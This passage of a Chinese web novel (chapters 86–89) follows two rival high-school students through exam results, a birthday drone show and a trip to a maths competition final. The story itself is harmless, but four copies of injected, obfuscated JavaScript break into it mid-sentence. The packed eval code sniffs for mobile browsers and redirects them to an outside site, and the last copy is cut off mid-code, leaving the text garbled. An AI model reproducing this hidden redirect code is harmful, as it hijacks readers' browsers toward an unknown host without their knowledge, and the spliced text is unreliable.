望向何非亮的时候,目光也被他身后一长列的窗户吸引。窗玻璃本该把世界一分为二,一份是象牙塔里,一份是更宽阔的天地。但在明暗光线的作用下,教室里灯影幢幢的反光和窗外深远的夜色错位交叠在了一起,这道分割的交界线便显得虚幻模糊了起来,有一种奇异的恍惚感。 此间光景,彼间倒影。 既见远方,亦见此身。 “去看看月亮吧,”何非亮微微一笑,用一种循循引诱的口吻说道,“看看月亮,语文可以多考五分。” “啊咧?”纪小鱼惊呆了。 第一次听说,还有这种提分方式! “哪里有月亮啊?”纪小鱼站在A班门前的走廊上,仰着头,拉长了脖子,四处张望。 暗黑的天幕仿佛孤独的空场,唯有两颗漂泊的星星在颤动。看了好久,也只看到了一架闪着红色底灯的飞机不疾不徐地从低空经过。月亮呢?月亮在哪里?没看见啊! “今天是月初一,怎么会有月亮?”何非亮轻描淡写地反问,语气里带着点讪笑的意味,“哎呀,‘运命惟所遇,循环不可寻’,真不巧,可惜了。” “嗯?”纪小鱼一愣,随即气急败坏地醒悟过来,“喂!你耍我!!!” S中的走廊上,又多了追逐打闹的身影。 哎呀呀! …… 考完的那一天恰好是夏至。 久雨初晴的天空重现了久违的爽朗。熏懒的风、悠游的云,更兼日色明亮、白昼漫长。 这一天多么适合卧在树荫下听蝉,思考过去的、未来的人生。这一天也多么适合行走在山涧或是海边,直至晚照时分的穹顶从橙黄降调为青黑。再不济,在午后鲜明堂皇的日光里,架一柄蓝色条纹的遮阳伞,不慌不忙地喝完一杯甘甜清爽的西瓜汁,再在泳池里痛痛快快地嬉笑打闹一场,也是极好的。 放在古代,夏至这一天可是要放假的咧! 哎呀,不过,都说了是古代了啦……\_(ツ)_/ 此时此刻,历经了整整六个科目的蹉磨,S中高二年级的诸位同学,能感受到的,大都只有【脑力值】消耗殆尽的惆怅罢了。到处都是僵硬的、沉闷的、空白的脸,看不见什么多余的表情。只不过,四目相对之下,彼此又都从对方困顿疲倦的眼里瞥见了点生气复苏的迹象——毕竟,总算是考完了!总算是可以短暂地松一口气了!高二的最后一场考试,考完了!!! 有好几个意志坚强的同学,更是在考后仍然凭借着心中的一腔焦虑,努力地支撑着自己不至于倒下,而是四处逮人互对答案。答案都一样呢,那就眉开眼笑、安下心来、皆大欢喜;答案不一样,那就大大破防,怨天尤人、哭天抢地。 纪小鱼没有萎靡,也没有对答案,他去了天台。 他想在那里吹吹风。 风是一个很神奇的东西。你看不见风,可是你可以看见树叶在摇摆、芦苇会低头、横绝水面的波纹在行走。 爱也是看不见的,可你知道,爱你的人眼睛里的光是为你而亮的。 无论如何,今天是一个特别的日子。 楼梯节节高升,十五步为一折,蜿蜒而上。说起来,上一次来天台的时候,还是和何非亮一起。那是高二第一学期的期中考试刚刚结束的日子,也是和何非亮正式成为同桌的第一天。嘿,真是冤家哦,和他做同桌的第一天,自己身上就发生了那么多的囧事,现在想想都还有一点尴尬……这家伙还真是……不过转眼间,高二下的最后一场期末考试也结束了。时间过得也太快了吧!快得像被篡改了一样。 对了,刚才说到哪了?哦,冤家! 纪小鱼推开天台的大门,被扑面而来的风吹得有点想笑。 神经啊!冤家路窄也没有这么窄吧? 拜托谁能解释一下啊???他怎么也在这里哦!!! “嗯?”何非亮听到声响,回转过头,眼里闪过一丝诧异,“小鱼?你怎么来了?” “切,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440726|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还想问你呢!你在这里做什么?”纪小鱼毫不客气地一边往何非亮的方向走去,一边不住地囔囔道,“哇!你不会是躲在这里偷学吧!!!要不要这么卷哦,这才刚考完好吧!?咦?” 纪小鱼挨着何非亮坐了下来,目光好奇地探向他放在膝上的本子—— 画面的上半部分是建筑物的遗骸,一片疮痍的土地。衣衫褴褛的孩子背着竹篓,赤脚行在岸边,伶仃如细瘦的野草。他的目光不经意地投落在飘渺的水面,麻木的凝视中浮现出震惊和哀伤。 水波轻轻荡漾,倒影中的废墟逐渐模糊,取而代之的是摩天大楼造就的天际线。竹篓成了小小的书包,他的两只手一左一右被紧紧握住。牵着他的两个人言笑晏晏,有世界上最多的温柔。 “啊,这是……”纪小鱼挠了挠头。 “这是我表弟画的,让我给他提点意见。”何非亮淡定地说。 “啊?你也有表弟啊?” “……正常人不是应该问给的什么意见吗?” “嘁~”纪小鱼朝何非亮翻了一个巨大的白眼,像说绕口令一样的来了一段,“你又不是正常人,你怎么知道正常人应该问什么?说得好像你是个正常人一样!还有就是,正常人就一定非要说正常的话、问正常的问题么?正常人就不能不正常吗?不正常的有时候才是正常人吧?” 说到最后,纪小鱼也差点被自己绕晕了。于是他喘了口气,见好就收,及时转移了话题,“……行,那你说说你的意见吧。表弟这不画得挺好的吗?” “目前的这个构图太过平正了,”何非亮的手指悬空地沿着水面平行划过,随即又调整了角度划拉了一下,“调整为倾斜式构图会更自然一些。” “嘁~吹毛求疵!”纪小鱼一点也不给何非亮捧场,“你以后肯定是那种会让员工痛恨的老板!” “那我多发点工资。” “嘁——咳咳,那个,你打算发多少啊?年薪百亿的话我可以考虑哦!” “你先发梦吧!”何非亮无情地打断了纪小鱼。 “噫!真小气!”纪小鱼愤愤地囔道。 “不过,”何非亮合上了手里的本子,站起身来,眺望向远方将坠未坠的夕阳,“这幅画倒是让我想起了一个事。” “什么?”纪小鱼也跟着站了起来。 “晨昏交割之际,光暗界限模糊,真实虚妄难分,日语里称这一刻为‘逢魔之时’。而今天恰逢夏至,阳极至盛,阴气初生,正是天地平衡微妙倾斜的节点。传说在这一天的黄昏,时间的界限会短暂松动,此时若凝神注视水面,的确是有可能从中窥见过去与未来的映影。” “真的吗?”纪小鱼四处寻觅,终于找到了一个积雨的水洼。 “我什么也没看见啊!”纪小鱼看来看去,也只看见了自己和何非亮挤在一起的两个倒影。 “我看见了。”何非亮神神秘秘地扬了扬唇角。 “啊咧?”纪小鱼惊讶道,“你看见什么了?” “看见了你不太聪明的样子。”何非亮忍不住笑了出来,“你怎么连这个也信哦?” “你!”纪小鱼的拳头硬了,“看招——!!!” 87.第八十七章 夏日庆典 「 不信你看 晚霞亲吻天空的浪漫 多绚烂 」 …… 暮色里,日光弥散。 镀着闪亮金边的游云慢慢悠悠,嬉戏打闹的剪影里掺杂着笑。 何非亮大概把点数全都加在了闪避和敏捷上,他在纪小鱼来势汹汹的进攻中仿佛一道诡谲的虚影。 夜色在他们的身后悄然铺开。华灯初上,繁星落入了人间。 “小鱼,”何非亮在左躲右闪的间隙中抽空看了眼手机,“时间也不早了,你饿不饿啊?” “我!不!饿!”纪小鱼的话语和他劈来的掌风一样凌厉。 “哎呀,那你的作业写完了吗?” “呃……”纪小鱼虎虎生风的铁拳停顿在了半空,“还、还没有……” “咦,奇怪,”切磋告一段落,何非亮转过身,一边收拾东西一边问道,“小鱼,你今天怎么不在教室里写题?跑来这里做什么?” “秘密!”纪小鱼没好气地说。 “啊,”何非亮忽作恍然大悟状,“你不会是跟踪我吧?” “才没有!!!你这个自恋狂!!!”纪小鱼生气地否认,“今天是我的生日,我来吹吹风怎么啦?三百六十五天,我就给自己放半天假,思考一下人生还不行吗?你难道没有听说过,人有时候要去到没有屋顶的地方,才能够更好的思考吗?嘿!反正那些作业,我明天一个上午就能写完!数学竞赛我也准备得差不多了!反正我妈妈今天也出差去了,也没人等我回家……” “诶?”何非亮撩起眼皮,惊奇地看着纪小鱼,“第一次听说你要给自己放假!” “哈?这是重点吗?” “不是吗?” “重点不应该是——今天是我的生日吗!?” “哦,”何非亮若有所悟地点点头,“生日快乐。” “就这?这也太敷衍了吧!你的情商好低!!!喂,你生日我好歹还唱了几首歌给你听吧!” “那你要听我唱歌吗?” “你、你创新一点行不行?” “那个算创新吗?”何非亮突然指向天空。 深蓝的夜空,会飞的光点。牵着气球的小熊推着蛋糕车走了出来,打着领带的小兔子们捧着礼物旋转,懒懒的小乌龟也躺在树荫下吹起了五颜六色的泡泡。小鸟衔来了漂亮的花环,戴在了小王子的头上。快乐的小王子是今天的主角,酷酷的红色披风在身后飘啊飘。他吹灭了蛋糕上的蜡烛,于是整个画面倏然一闪,变成了用花体字写成的“Happy Birthday”。 纪小鱼惊呆了,“这、这是什么?” “无人机表演啰。”何非亮轻描淡写地说。 “啊,这……这是给我的吗?(;゜0゜)” “这是我帮我表弟改画的报酬。反正他们家的无人机近期也要实地测试,不如顺便一下。” “表弟太有实力了!”纪小鱼看着天空,由衷地感慨。 天空上的画面一改,突然间又变成了玫瑰花丛中的浪漫求婚了。 “啊咧???”纪小鱼一头雾水地看着天空中被戴上钻戒的手指。 “咳,”何非亮尴尬地轻咳了一声,“那个,给我们的只有一分钟,后面要测试别的内容了。走吧。” “看一下也行啊?”纪小鱼津津有味地看着远处冒着粉色气泡的“Marry Me”。 “没什么好看的。”何非亮一头黑线,生拉硬拽地把纪小鱼拖走了。 …… 表弟:“嘿嘿嘿嘿嘿!表哥,喜欢我给你的惊喜吗~” 卓影:“哎呦喂,我的老天哦,我好像拍到了什么了不得的东西!Marry Me?啧啧啧啧啧!\(//^//)\” - 两个星期后。 周五。 天气又闷又热,偏偏A班的空调好巧不巧地坏掉了。 能够给班里同学带来一丝凉意的,唯有期末考试的成绩。 纪小鱼看上去是最伤心的那个。 他手捧着自己新鲜出炉的成绩单,心里仿佛已经下过了一场苍凉的雪。 S中的成绩单,是整整一大面A4纸,条目清楚地按照时间顺序列印着自高一入学以来,所有大考小考联考月考的成绩和排名——童叟无欺,战绩可查,十分具有某种统计学上的意义。 刚刚才下发的成绩单上,赫然已经增添上了高二下期末考试的记录。 纪小鱼呆呆地看着自己成绩单上的年级排名——那里宿命般地印着一连串整齐的“2”字,显得非常的嘲讽。 并且,这一次的语文成绩,何非亮正好比自己多考了五分,这就显得更加的嘲讽了!!! 啊啊啊啊啊,好气哦!!! 都怪这一次的作文! 这一次的作文题目,引用了王安石在《礼乐论》中的一句话,“圣人内求,世人外求。内求者乐得其性,外求者乐得其欲”,让大家写下对这一句话的联想与思考。 嗐!何非亮当然能在这篇作文上拿高分啊!这种题目,根本就是精准地踩在了何非亮的舒适圈里,最适合他这种附庸风雅、崇尚虚浮的人在考场上装逼了。 噫!自己和何非亮五分的差距,就是因为这篇作文而来的! 其实吧,袖手清谈谁不会,世间能有几圣人?关键是,何非亮就总是能假模假样地把作文写得更飘逸洒脱一点、更逍遥自在一点,并且引经据典,假装自己是一个才华横溢的人;谈古论今,假装自己是一个洞明世事的人;层层递进,假装自己是一个思想深刻的人,由此骗过了改卷老师简单善良的心。 嗯……好吧,他的字也写得更好看一点,很具有迷惑性,就像他的本人一样,长了一副蛊惑人心的好皮囊。 何非亮坐在纪小鱼的身边,随意地扫了一眼自己的成绩单以后,便忙活着做起了手工。 “啊咧?你在干嘛?”纪小鱼惊呆了。 他眼睁睁地看着何非亮,用一把没有感情的美工刀,冷酷地把那张他梦寐以求的成绩单竖直裁成了两半。 靠近纪小鱼的那半截成绩单的最边上恰好列印着排名,从上到下万年不变的“1”字每一个都好像镀着金边。 “哎呦!救命啊!太刺眼啦!”纪小鱼痛苦地捂住了自己被闪瞎的双眼。 等他再次睁开眼睛的时候,成绩单已经变成了一把颇具逼格的折扇。 “废物利用啰。”何非亮的嘴角扬起了一点明净的笑意。 他摇晃着手里的折扇,像是某种驱赶夏日的仪式,在纪小鱼的颊边拂过习习凉风。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444371|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哼!”流动起来的风并没有吹来纪小鱼走失的快乐。 “哎呦,小鱼,别灰心嘛!”何非亮一边摇着扇子,一边在一旁不着调地说着风凉话,“你学了二项分布以后应该要明白的呀,一个人最终的成绩并不完全由他的能力决定,还要看他碰到的题里有多少是刚好会做的。” “切,要你管!我的心本来就是灰的!不过——我的心是灰的,你的心是黑的!你也好不到哪去!(`∧'')” “我的心怎么会是黑的呢?”何非亮自恋地挑起了眉梢,“这么热的天,我帮你扇风,都不收你的钱。╮( ̄▽ ̄"")╭” “那你收一点好了。”纪小鱼脱口而出,话音刚落就立马反悔了。噫~那可不行!我的钱都是要拿去买题的!怎么能就这么便宜了何非亮! “真的假的?这样就可以赚钱了吗?”卓影立马不知从哪里冲了出来,拿着手里的本子殷勤又卖力地在纪小鱼身边狂扇一通,“大哥,我也会扇扇子呀!你考虑考虑我呗!现在经济不景气,随便给点就行,一分也是爱呀!” 纪小鱼:“???” 何非亮:“???” 他们俩异口同声地问道,“你来干嘛?” “呃……”卓影在纪小鱼和何非亮咄咄逼人的目光下,尴尬地偃旗息鼓,停住了手里扇风的动作。 “其实吧,”他从斜挎的书包里掏出了一个信封,“我是来送信的。” “啊?给我的?”纪小鱼诧异地指着自己的鼻尖。 卓影点点头,笃定地说,“没错,就是给你的。” 纪小鱼困惑地拆开了信封,里面看上去是一张胡乱从作业簿上撕下来的横格纸,字迹张狂潦草,勉强能使人辨别。 【 喂!纪小鱼: 当你看到这里的时候,很遗憾,你的手指已经被我涂抹在纸上的超级强力胶给粘住了。 哈哈哈哈哈,开个玩笑!不知道你有没有被吓到。 如果你被吓到了的话,请容许我嘲笑你。如果没有的话,请继续往下看。 高二结束了,欢送就行。别管今天出的什么成绩了,那不重要。重要的是——我们班今天有超酷的派对!!!超酷的你也一定很想参加吧?当然,你可以带上你最好的朋友一起来。 高二F班陈典 】 “大哥,你看完了吗?”卓影问道。 纪小鱼矜持颔首,“看完了。” 卓影又凑过去问一旁的吕天明,“吕天明同学,请问你看完了吗?” 吕天明的桌面上也摊着一张同款的横格纸,只是内容稍显不同。他朝着卓影点了点头道,“嗯,我也看完了。” “那行!送信人还给你们点了一首歌。”卓影“啪”的一声打个响指,于是全校所有班级的广播都几乎同时从静默中苏醒。 电流蹿过,音乐响起,欢天喜地。 “我在这儿等着你过来呀,等着你过来,一起来喝彩……” “哎呦喂,好大的排场哦!”纪小鱼有点哭笑不得,他扭过头看向何非亮,凶巴巴地命令道,“喂!陈典邀请我去F班玩。你不许自己一个人在班里偷学,必须和我一起去!” “哦。”何非亮慢腾腾地把手里的折扇收了起来,“行吧,他们班的空调应该没坏。” …… 88.第八十八章 快乐起飞 「 夏天四处弥漫阳光日渐疯狂 七月的风炽热无畏地闯荡 去远方 」 …… 暑假开始的第十天。 起飞啰!!! 是真的起飞,不是假的起飞~ 车子、房子,都变得渺小。再后来,厚厚的云层将这些也遮蔽了。 飞机的舷窗外,白云铺成了雪地,空旷无边,茫茫无际。 白云之上,天空是明净通透的蔚蓝,晃亮得如同一个美好的幻觉。 两相对照,叫人一时分不清天与地的界限,也叫人不由地陷入恍惚—— 啊咧? 就这样出发了么? 就这样出发去参加数学竞赛的决赛了么? 天呐!是决赛耶!一决胜负的决赛耶! 光是想想,纪小鱼都有点激动得坐不住了。他望向窗外的蓝天白云,感受着万丈高空中驾凌云霄、飞越山河的驰骋,不由地心情开阔,豪兴大发—— 啊,多想乘风登绝顶,览山色,看流云。 啊,多想打败何非亮,让他哭,让他跪! 料想那高山之巅,应当有一轮近在咫尺的硕大圆月作为背景。栖鸟飞绝、走兽消声,冷风萧瑟、衣袂翩跹。无敌的寂寞,如月光,落地成霜…… “诶,何非亮,”纪小鱼禁不住抚摸着自己的下巴,神神秘秘地开口道,“我有一种预感,这一次我一定能让你输得心服口服。” “哦。”何非亮无动于衷地翻着手里打发时间的小书。 “喂,我不是和你开玩笑的!真的是很强烈很强烈的预感哦!”纪小鱼得意地继续道,“我的左眼皮狂跳不止,我的左心室不住震颤,我的左脑中已经浮现出了你跪唱《征服》的样子。啊哈哈哈哈哈!” 何非亮沉默地放下书,目光游移到了纪小鱼眉飞色舞的脸上,把他上上下下琢磨似的打量了个遍,终于恍然大悟地发出一声嗤笑,“小鱼,你比的该不会是脸皮吧?” 纪小鱼:“??!” “脸皮当然是你的厚,我甘拜下风。”何非亮饶有兴味地观赏着纪小鱼一秒之内骤变了十次的神情,戏谑地补充道,“哪里用等这一次?我早就输得心服口服了。” “你!”纪小鱼的拳头狠狠地硬了,只是不确定飞机上有没有“禁止打斗”的规条,所以只好暂且作罢,嘴里的话锋一转,变成了,“你等着!你这个执迷不悟的人!(#▼皿▼)” “行,”何非亮懒懒地打了个呵欠,“一辈子都等。” “喂!”纪小鱼十分看不惯何非亮这种不以为意、细品之下还有点嘲讽的态度。 正在这时,推着餐车的漂亮小姐姐走了过来,温柔地问他们,“您好,请问两位想喝点什么?” “两杯可乐,谢谢。”何非亮礼貌地回答。 “不客气的,先生。两杯可乐,请您拿好。” 漂亮小姐姐临走前忍不住又回头看了他们一眼——哇哦!真的好帅哦!两大帅哥,嘻嘻,未来可期!未来可期! “快拿给我!”纪小鱼迫不及待地接过从何非亮手里递来的可乐,手指碰到纸杯的一瞬间,脸上的阴霾彻底四散——太棒了!这可乐还是冰的!!! 大喝了一口以后,心情也跟着冒起了美滋滋的气泡。 好吧,君子报仇,十年不晚!有时候还是要先珍惜眼前的幸福与美好。暂时先不和何非亮计较好了! 嗝~ “小鱼,”何非亮矜持地掂着可乐,半是随意、半是优雅地朝纪小鱼微微平举,“Cheers!” “什么?Cheers?”纪小鱼快活地奚落道,“哈哈,你怎么比我的行李箱还能装啊?你的英文名该不会是叫Zombie吧,这么装逼?” 何非亮从善如流,“那你觉得说什么比较好?” “嗯……”纪小鱼思索了一下,忽而举杯粲然一笑,“干杯!为了快乐的少年时光!\(//?//)\” “???”何非亮沉默了一会,眼尾微弯,从眸光深处弥漫出了淡笑,“干杯。” “嗯,不行!还要补上——为了快乐的少年时光!”纪小鱼不满意地纠正道。 “哈?真的假的?”何非亮哑然失笑,终于在纪小鱼近乎固执的目光下妥协,“好吧……干杯!为了……快乐的少年时光。” …… 抵达B市的时间临近傍晚。 穿过川流不息的人潮,从飞机换乘了车辆。车窗外落日熔金。宽阔平直的街道上,竟然还有老式的马车停在路边,拖着一篼桃子在卖。 纪小鱼还是人生中第一次在大街上看到真的马车,不由地惊奇道:“哎呀,马呀!!?” “小鱼?”何非亮本来在闭目养神,听见了纪小鱼的话奇怪地睁开了眼睛,“你的口音怎么突然变了?” “什么口音哦?”纪小鱼的头上挂下三道黑线,“我是说——真的马!” “刚才貌似是东北的,现在是台湾的?”何非亮淡定地分析道。 纪小鱼张了张嘴,一时竟不知道该如何应答。 更糟糕的是,车辆已经飞驰过一段路了,此时此刻窗外连半点马车的影子都看不见了——唉,真叫人百口莫辩哦! …… 就这样一路尴尬地抵达了酒店。 纪小鱼看着自己被分配到的房卡直摇头。 哎呀,这可怎么办呢?双人间!还是和何非亮同一间……这、这还怎么偷卷呢? “喂,何非亮,我……” 纪小鱼的话还没说完,就被何非亮不动声色地拉到了一边。 “呐,”何非亮将自己派发到的房卡递给了纪小鱼,“不用担心,我已经另外订好了别的房间。不会打扰你学~习~的。” “胡、胡说八道!什么学习?学习是什么?我等会还打算去吃火锅呢!呵,”纪小鱼怀疑地睨了眼何非亮,“是你自己想要卷吧?” “Bingo!”何非亮朝纪小鱼神神秘秘地挤了挤眼睛,低声道,“我还挺想卷的!” 纪小鱼:“??!” 什么?何非亮说他想卷了!? 天啊,如果我的耳朵没问题,那么就是——何非亮出问题了!啊咧?他出的是什么问题,怎么会突然间这么爽快地承认自己想卷了呢!?哎呀,难不成、难不成是我突飞猛进的实力终于刺激到他了吗? 唉,怪我,还是不够低调! 嘿呀,怎么办?整个人突然间就紧绷起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16454877|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了!战意,不屈的战意,短暂地被封印的战意,再一次的,如同炽热的火焰,灼灼地在血液中躁动了起来、燃烧了起来。 呵……就算是何非亮都说他要卷了,我也绝不退让! 我、我必须要比他更卷才对!!!不,是所有人,我必须要比所有人都更卷才对! 没有人可以卷得过我!!!ヾ(#`Д '')彡 突然间,火锅都不香了。纪小鱼觉得要不然自己还是先将就将就,吃个泡面得了,吃完抓紧时间狂学! “来B市,怎么能不卷呢?”何非亮笑笑地看着纪小鱼,“鲜嫩的烤鸭,连皮带肉,抹上特制的甜酱,和素菜丝一起,卷进软薄的饼皮里,据说很好吃哦。” 纪小鱼:“嘿!敢情您说的是这个卷啊!?_?” 何非亮:“小鱼,你的口音又变了。” “起开!(?`∧?)” “好吧,那我走啰。”何非亮朝纪小鱼摇了摇手,戏谑地笑道,“有本事你不要跟过来。” 纪小鱼这才发现,严老师已经宣布了解散,大家都拖着行李往电梯的方向去了。 啊,这…… 一番纠结过后,纪小鱼终于在电梯门就要合上的时候喊了出来,“诶,等等,等等我!” 唉,没办法!忍一时之辱,成千秋大计!试想,假如我不上这趟电梯,何非亮就先上去了,那么他就会比我多几分钟可以用来刷题。而那几分钟,很有可能就是我们俩决出胜负的关键!唉!为了争分夺秒,只好先暂时放下面子了。毕竟,现在还不是决胜的战场……噫!何非亮也太阴险了!竟然企图用这一招来让我荒废复习的黄金时间!切,我就要跟上去,怎么啦?打我啊? 纪小鱼一边说服着自己,一边硬着头皮挤进了电梯。 何非亮要笑不笑地瞅着纪小鱼,似乎在借着目光奚落他。 “哼!我才不上你的当!”纪小鱼把头扭向一边。 电梯门开了,偏偏是他们俩一前一后地走出。 走着走着,又几乎是同时停下了脚步。 “这么巧?你订的房间就在我隔壁啊?”纪小鱼看了看自己房卡上写着的号码,又看了看站在身边已经刷开了门禁、正准备推门而入的何非亮,连忙板着脸叮嘱道,“喂,Zombie He,今晚你吃你的烤鸭就可以了,不可以来我的房间吃我的脑子哦。” “呵呵,你放心。”何非亮皮笑肉不笑地睨了纪小鱼一眼,“你的脑子,看起来不太聪明的样子,吃了只会拉低我的智商。” “喂!你有没有搞错?我的脑子怎么就看起来不太聪明哦?对,我是很帅没错。但是呢,帅只是我身上最不值得一提的一个特点。拜托你不要对我们这样长得帅的人有偏见好吗?在这个世界上,颜值和实力并不冲突,懂吗?你不能因为我长得帅,就忽略掉了我高贵的理性、超绝的智商和令人赞叹的才华!诶诶诶——”纪小鱼正想多反驳几句的时候,何非亮的房间门已经被冷漠地关上了。 “哼!”纪小鱼只好暂时闭嘴休战,气鼓鼓地刷开了自己的房门。 随及,他发出了一声惊人的惨叫。 何非亮困惑地把房门打开了一条缝隙,探出头,试探地问道,“小鱼,你的口音——?” 89.第八十九章 新的一天 “纪小鱼呀 纪小鱼呀 快点起床 别偷懒 青春宝贵 不要浪费 新的一天多么美 起床学习 起床刷题 起床打败何非亮 …… ” 清晨,闹钟响起。 当播放到“何非亮”三个字的时候,纪小鱼顿时像被摁下了启动开关般,噌的一下从被窝里弹坐而起。 他睁开炯炯有神的双眼,直面向窗外冉冉升起的红日。 嘿!早上好,新的一天! 新的一天,干劲值又被重新充满。灵台清明,力量充沛,心情豁达。豪情壮志也跟着在胸中翻涌升腾,犹如鲲鹏展翅高飞、直入青云,实在是深觉自己的前路大有可为。 呵,小小的何非亮又算得了什么呢?没有过不去的黑夜,没有比我帅的人……啊,不好意思,我要说的其实是——没有打不败的人! 但是—— 呃…… 如果何非亮此时此刻也在现场的话,似乎就稍显得有点尴尬了…… 纪小鱼讪讪地摁掉了手机的闹铃,僵硬地扭转过脖子,朝隔壁床铺的何非亮同学挤出了一个尽量真诚的笑容,“啊,早啊!” 何非亮礼貌客气地颔首道,“早。” 跟着又补了一句,“歌不错。” 纪小鱼:“……” 嘿呀!本来何非亮已经自动自觉地自己订好了自己的房间,避免了和纪小鱼共处一室的潜在争端。但是为什么还会有这样的一个一起醒来的早晨呢?实在是说来话长。 一切,都要从纪小鱼昨天刷开自己的房门开始说起。 说时迟,那时快。房门乍一打开,房间里的一道邪恶黑影,顿时如同螺旋战机一般地横冲直撞了过来。 噫,是苍蝇飞飞! 纪小鱼嫌恶地挥着手想要把它赶走。但就在这时,眼角的余光不幸地扫见了,另一道正从墙角飞速掠过的身影。 天呐,是蟑螂爬爬! 啊不,它也会飞!!!它飞过来了!!! 救命啊!!! 纪小鱼瞬间破防了。在本能的驱使之下,他忙不迭地拖着行李冲出门外,速度堪称是有多快跑多快。直到门“咚”的一声被紧紧关上,他才终于喘上了口气。 何非亮听到动静,从隔壁房间里冒出了个脑袋,一脸疑惑地看着他。 “那个,我……啊哈哈……”纪小鱼努力地扬了扬嘴角,露出了一点干巴的笑容,“那个,你房间里……呃……你有没有看见什么奇怪的东西?” 何非亮眨了眨眼睛,迟疑地点了点头道,“你,看上去,挺奇怪的。” “……唉!跟你说不清楚!”纪小鱼把何非亮硬挤到一边,风风火火地闯进了何非亮的房间里,用一双警惕的眼睛四处侦查。 整洁的一面桌子,干净的两张床铺,安稳的木质地板,透明的小几,柔白的墙,就连头顶的灯光也都是淡泊而随和的,一切是那么的安详美好。目光所及之处,确实是什么“奇怪的东西”都没有看见。 倒是何非亮正在用一种奇怪的眼神看着他,“小鱼,你房间里闹鬼了?” “比鬼还要可怕,”纪小鱼苦涩地垂下了肩膀,“鬼不过是虚无的精神体,而它,是一种有着可怕质感的实体……会让我得精神病。” “哎呦,不会是有蟑螂吧?不应该呀。” 纪小鱼虚弱地点了点头。 何非亮耸了耸肩,“我帮你打电话给前台,让他们帮你换一个房间?” “好哦。” 如果这就是结局,那么皆大欢喜。只可惜事与愿违,前台抱歉地通知他们——房费倒是可以退,但是酒店最近三天的房间都已经全部订满了,暂时无法换房。酒店随后会第一时间为有问题的房间进行消杀。只是出于安全考虑,喷了杀虫剂的房间,今晚暂时就不能够再入住了呢。 于是,这个夜晚的结局便是——何非亮少爷勉为其难地收留了可怜巴巴、无处可去的纪小鱼。 代价是,纪小鱼遗憾放弃了原本计划中的泡面和卷王大业,转而和何非亮一起闯进人间的烟火,吃烤鸭卷饼去了——哎呀呀,好香好肥美的鸭子呀,吃得人“油嘴滑舌”的。 “嘿!咱表弟推荐的烤鸭店就是地道!真好吃!真香!” “那你多吃点。”何非亮不紧不慢地啜饮了一口凉凉的酸梅汤,“反正是用你退回来的房费买单。” 以上,就是事情的全部经过了。 不过,好像其实也没有想象中的那么糟糕,昨天晚上的睡眠质量还挺好。 月色平静,蝉声渐歇,四下安宁。 空调“嗞嗞”地吐着冷气,一室冰凉。裹在温暖的被子里,不知不觉地就做起了梦。 梦里,S中怪兽肆虐,会喷火,会咬人。 纪小鱼靠一根扫把柄杀出重围,回头一看—— 我去! 何非亮正把五颜六色的粉笔当暗器一般“嗖嗖嗖”地朝怪兽的方向扫射——红色的会爆炸,白色的能结冰,黄色的能变成阻挡进攻的小土堆,绿色的则会结出植物的藤蔓把怪兽团团捆住——这些特效让他显得还挺厉害,但无奈怪兽们也不赖,一波一波的,打倒了还又能再顽强地站起来。 于是,他们俩一起逃亡。在学校的角落被奄奄一息的张校长叫住了。 张校长倚着残破的墙垣,颤颤巍巍地从怀中掏出了两张皱皱巴巴的百元大钞作为经费,让他们去高山之上,寻求智者的帮助。 去往高山的路途遥远,要爬很长的坡。灰扑扑的路面乏善可陈,陡峭地向远处延伸。一眼望去,尽头是白茫茫且空洞的天。 爬呀爬,爬呀爬,与路面交接的天际,忽然有一星绿意闯入眼中。再走近一点,终于看清了那其实是一墙绿油油的爬山虎。 纪小鱼惊奇道,“诶,这不是俺的初中吗?” 对哦,初中念的学校的确就建在山坡上,侧边有一面爬满爬山虎的高墙。那个时候,小同学们若是作文实在憋不出东西,便会绞尽脑汁地从学校里爬山虎攀援的足迹中挖掘出励志的痕迹,一遍又一遍地歌颂爬山虎的顽强、坚韧与踏实。纪小鱼也不例外,他也曾借着爬山虎执着向上的精神,在作文的格子纸上抒发过自己崇高的理想(只不过,一个高中生看待初中时写过的东西,大抵是想要烧掉的)。 何非亮侧过头,半认真地问道,“小鱼,你怎么不读S中的初中部呢?不是离家更近吗?” “哦,”纪小鱼尴尬地搔了搔脸,“那是因为我妈妈之前把家里学区房的名额给卖掉了。” 何非亮迟疑了一下,又问,“那你在这里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 